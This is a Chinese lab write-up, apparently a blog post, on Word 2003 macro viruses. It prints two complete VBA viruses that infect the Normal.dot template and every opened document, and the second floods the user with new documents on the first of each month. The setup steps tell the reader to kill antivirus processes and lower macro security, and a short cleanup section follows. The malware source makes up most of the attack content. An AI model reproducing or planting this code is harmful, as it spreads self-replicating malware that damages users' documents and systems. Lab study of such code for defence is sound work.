恶意代码实验3:Word宏病毒实验

目录

实验环境:

实验内容:

实验步骤:

实验数据记录:

问题讨论:


实验环境:

Word 2003

实验内容:

1、自我复制,感染word公用模板和当前文档

'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With Host
    If .Lines(1.1) <> "'Micro-Virus" Then
        .DeleteLines 1, .CountOfLines
        .InsertLines 1, Ourcode
		.ReplaceLine 2, "Sub Document_Close()"
		If ThisDocument = nomaltemplate Then
			.ReplaceLine 2, "Sub Document_Open()"
            ActiveDocument.SaveAs ActiveDocument.FullName
        End If
    End If
End With
MsgBox "MicroVirus by Content Security Lab"
End Sub

只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。

2、具有一定破坏性的宏

完整代码如下:

'moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule


Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
    Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
    
    .DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
    If ThisDocument = NormalTemplate Then
        .ReplaceLine 3, "Sub Document_Open()"
        ActiveDocument.SaveAs ActiveDocument.FullName
    End If
    
End If

End With

Count = 0
If Day(Now()) = 1 Then
try:
        On Error GoTo try
        test = -1
        con = 1
        tog$ = ""
        i = 0
        While test = -1
            For i = 0 To 4
                nm(i) = Int(Rnd() * 10)
                con = con * nm(i)
                If i = 4 Then
                    tog$ = tog$ + Str$(nm(4)) + "=?"
                    GoTo beg
                End If
                tog$ = tog$ + Str$(nm(i)) + "*"
            Next i
beg:
        Beep
        ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
        If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
            Documents.Add
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Beep
            With Selection.Font
                .Name = "细明体"
                .Size = 16
                .Bold = 1
                .Underline = 1
            End With
            Selection.InsertAfter Text:="何谓宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案:"
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="我就是......"
            Selection.InsertParagraphAfter
            Selection.InsertParagraphAfter
            Selection.Font.Italic = 0
            Beep
            Selection.InsertAfter Text:="如何预防宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案:"
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="不要看我......"
            GoTo out
            Else
                Count = Count + 1
                For j = 1 To 20
                    Beep
                    Documents.Add
                Next j
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Selection.InsertAfter Text:="宏病毒"
            If Count = 2 Then GoTo out
            GoTo try
        End If
Wend
End If
out:
End Sub

实验步骤:

前提:降低安全性

1、关闭杀毒软件。建议直接进入“任务管理器”将正在后台运行的防护进程删除。

2、将word文档的宏安全性调制最低。在“安全级”选项框选“低”,在“可靠发行商”页面全选。在如下图:

3、点击确定,退出开始编写病毒

实验1、自我复制,感染word公用模板和当前文档

  1. 打开一个word文档,利用以下步骤:工具->宏->Visual Basic编辑器即可调用宏编写窗口。
  2. 在左侧小框中,选择project—>Microsoft Word对象->ThisDocument,在出现的页面中输入实验1的代码(上面第一个代码),保存。
  3. 退出宏编写器,又退出该word文档
  4. 重新进入该文档
  5. 观察病毒效果

实验2、具有一定破坏性的宏

  1. 打开一个word文档,利用以下步骤:工具->宏->Visual Basic编辑器即可调用宏编写窗口。
  2. 在左侧小框中,选择project—>Microsoft Word对象->ThisDocument,在出现的页面中输入实验1的代码(上面第一个代码),保存。
  3. 退出宏编写器,又退出该word文档
  4. 打开系统管理,更改系统时间为某个月的1号。因为该病毒设置为1号才运行。
  5. 观察病毒运行效果

实验3、清除宏病毒

  1. 打开受感染的某个文档,或者已经被打开的受感染文档。不管是不是第一个被植入病毒的文档。
  2. 利用以下步骤:工具->宏->Visual Basic编辑器,调用宏编写窗口。
  3. 左上角方框会显示许多文件,打开NormalMicrosoft Word对象This Document,清除其中的病毒代码(只要删除所有内容即可)。
  4. 然后打开ProjectàMicrosoft WordàThis Document,清除其中的病毒代码。
  5. 依此关闭打开的文档即可

实验数据记录:

实验1、自我复制,感染word公用模板和当前文档

1、打开的宏编辑器如图所示,即可编写病毒代码。

2、完成病毒代码的编写后,代码的执行效果如下:

3、分析:

实验2、具有一定破坏性的宏

1、运行结果如图:

回答正确的时候,病毒显示:

回答错误的时候,病毒显示:

且当你回答正确,便会一直让你答题,陷入死循环。回答不正确三次,即可自动跳出病毒程序,但那时已经出现几十个文档。若真中了宏病毒,容易造成运行缓慢、信道堵塞等问题

实验3、清除宏病毒

1、清除宏病毒主要要找到normal和project文件。

问题讨论:

1、再次从新进入word文档要从office方式进入才有效果,从wps打开没有意义。

  • 8
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值